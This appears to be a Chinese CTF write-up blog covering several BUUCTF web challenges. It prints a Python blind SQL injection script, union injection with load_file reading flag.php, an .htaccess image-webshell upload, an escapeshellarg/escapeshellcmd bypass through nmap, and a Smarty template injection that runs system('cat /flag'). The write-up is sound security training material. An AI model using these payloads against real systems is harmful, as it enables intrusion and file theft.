你👱🏻‍滴寒假本来似上分滴time
但是你👱🏻‍打两天多少沾点坐牢,还是滚回来做题了‍

[CISCN2019 华北赛区 Day2 Web1]Hack World

你👱🏻‍输入1或者2的时候比较特殊,其他都返回错误

字母返回bool(false)

多次尝试发现过滤了union、and、or、空格等,包括/**/,但是输入1/1和2/2的时候会返回跟输入1相同的结果

1和2返回结果不同,
你👱🏻‍觉得可能是布尔盲注,()没有过滤,可以使用大部分函数

import requests
import string

def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
    for i in strings:
        payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
        post_data = {"id":payload}
        res = requests.post(url=url,data=post_data)
        if 'Hello' in res.text:
            flag += i
            print(flag)
        else:
            continue
print(flag)


if __name__ == '__main__':
url = 'http://4d9b3e61-c7ab-43b1-831f-945f73a545ff.node4.buuoj.cn:81/index.php'
blind_injection(url)

你👱🏻‍这里偷了一个脚本,原理就是盲注

跑一下就得到flag了

但是跑的很慢

[网鼎杯 2018]Fakebook

你👱🏻‍进入环境,点进去一看

这里注册的时候blog需要为一个网址形式

点击用户名滚进去

其中的url为

http://fda8e00b-199c-4f4f-90c7-bbd7ff20c070.node4.buuoj.cn:81/view.php?no=1

你👱🏻‍感觉也许能注入,开整

?no = 1 and 1=1 回显正常

?no = 1 and 1=2 回显错误

数字型注入,看看多少列捏

?no = 1 order by 3 正常

?no = 1 order by 4 正常

?no = 1 order by 5 错误

有4列

尝试union联合注入

?no = -1 union select 1,2,3,4--+

然后你👱🏻‍就被逮到了

再试试

?no=0/**/union/**/select 1,2,3,4#

username是回显位

?no=0/**/union/**/select 1,database(),3,4--+

查数据库名

?no=0/**/union/**/select 1,user(),3,4--+

查数据库信息位为root@localhost,我趣,是root权限

那么我们这里可以使用load_file()函数作为一个绝对路径去加载一个文件

但是你👱🏻‍不知道flag在哪,不过根据前面的报错能猜到网站的目录结构

flag应该就是在/var/www/html/flag.php

于是你👱🏻‍

 ?no=0/**/union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

找到flag

[GXYCTF2019]BabyUpload

这道题是文件上传题

png文件不让你👱🏻‍上传 jpg可以

你👱🏻‍先试着遍历上传.htacess和.user.ini,发现还是不行,你👱🏻‍觉得大概要看看源码

源码要求上传图片文件小于2kb,沾点🐶

经过你👱🏻‍测试,这道题还卡的有Content-Type

需要其为image/jpeg才行

文件内容中不允许出现<?

所以首先你👱🏻‍上传一个.htacess配置文件,允许服务器把123.jpg解析为php

然后紧接着上传一个图片🐴
http://116908e7-0a99-46cf-91bf-8992e0ee771d.node4.buuoj.cn:81/upload/627c1e636b4498e1d54ba6731b549001/123.jpg

使用蚁⚔️连接得到flag

[RoarCTF 2019]Easy Java

你👱🏻‍打开是这样

help既然能点 看看什么样子

打开只有一句

java.io.FileNotFoundException:{help.docx}

你👱🏻‍以前没怎么接触过java的这种,所以去看了下这是什么情况

这个大概是报错信息

打开burp截取请求信息为

 GET /Download?filename=help.docx HTTP/1.1
 Host: 81681c2a-c10d-4a98-a130-e65f93277e02.node4.buuoj.cn:81
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Referer: http://81681c2a-c10d-4a98-a130-e65f93277e02.node4.buuoj.cn:81/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Cookie: JSESSIONID=88F4F031FD9E56EAC2188F22D45E1379
 Connection: close

还是没什么头绪

通过查询知道要改成POST,而且这类可能涉及到WEB-INF/web.xml泄露

这里直接用别银的截图

这里POST上去得到了一些信息

再访问一下WEB-INF/web.xml这个文件

用同样的方法,这里可以看到flag的地址

得到文件路径

找到这里base64加密的编码然后解密

你👱🏻‍这种题属于是你👱🏻‍第一次遇到

[BUUCTF 2018]Online Tool

你👱🏻‍打开就是代码审计

escapeshellarg和escapeshellcmd属于是你👱🏻‍第一次见

escapeshellarg是什么东西呢 他的作用就是将单引号转义 并将转义后的单引号的前后两部分再用一个单引号括上,比如

123' ls ---> '123'\'' ls'

要注意引号和空格的位置

escapeshellcmd

这个玩意就是在&#;`|*?~<>^()[]{}$, \x0A 和 \xFF和没有配对的单引号前插入”” 但是要注意是没有配对的单引号,比如

'123'\'' ls' ---> '123'\\'' ls\'

在例子里,只有最后的那一个单引号是没有配对的,中间的那两个在一起的其实是配对了

这两个函数放一起会沾点问题

 1. 传入的参数是:172.17.0.2' -v -d a=1
 2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
 3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
 4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

总而言之就是两次转译后出现了问题,而没有考虑到单引号的情况。

现在你👱🏻‍发现了 这道题又是新type

后面有个system执行命令所以要利用到

这里本意是希望我们输入ip做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们知道了上面的漏洞所以我们可以逃脱这个引号的束缚

常见的比如| & &&这样的注入都是不行的,虽然我们能通过上面的操作逃过单引号,但是最后结果任然有\来转移,这个时候你👱🏻‍沾点无奈,只能想想nmap能整什么活

你👱🏻‍search后发现,nmap命令中有一个参数-oG可以实现命令和结果写到文件,那这就有活可以整了,于是写出payload

最后利用蚁剑连接找到flag

[BJDCTF2020]The mystery of ip

你👱🏻‍初步怀疑跟XFF有关,换成127.0.0.1发现也跟着变,说明是可变的,可能存在模板注入,你👱🏻‍后面search了一下发现可能是Smarty模板注入,

尝试{system(‘ls’)}没有任何过滤

哦豁爽咯,再试试{system(‘cat /flag’)}

也没有过滤,直接拿下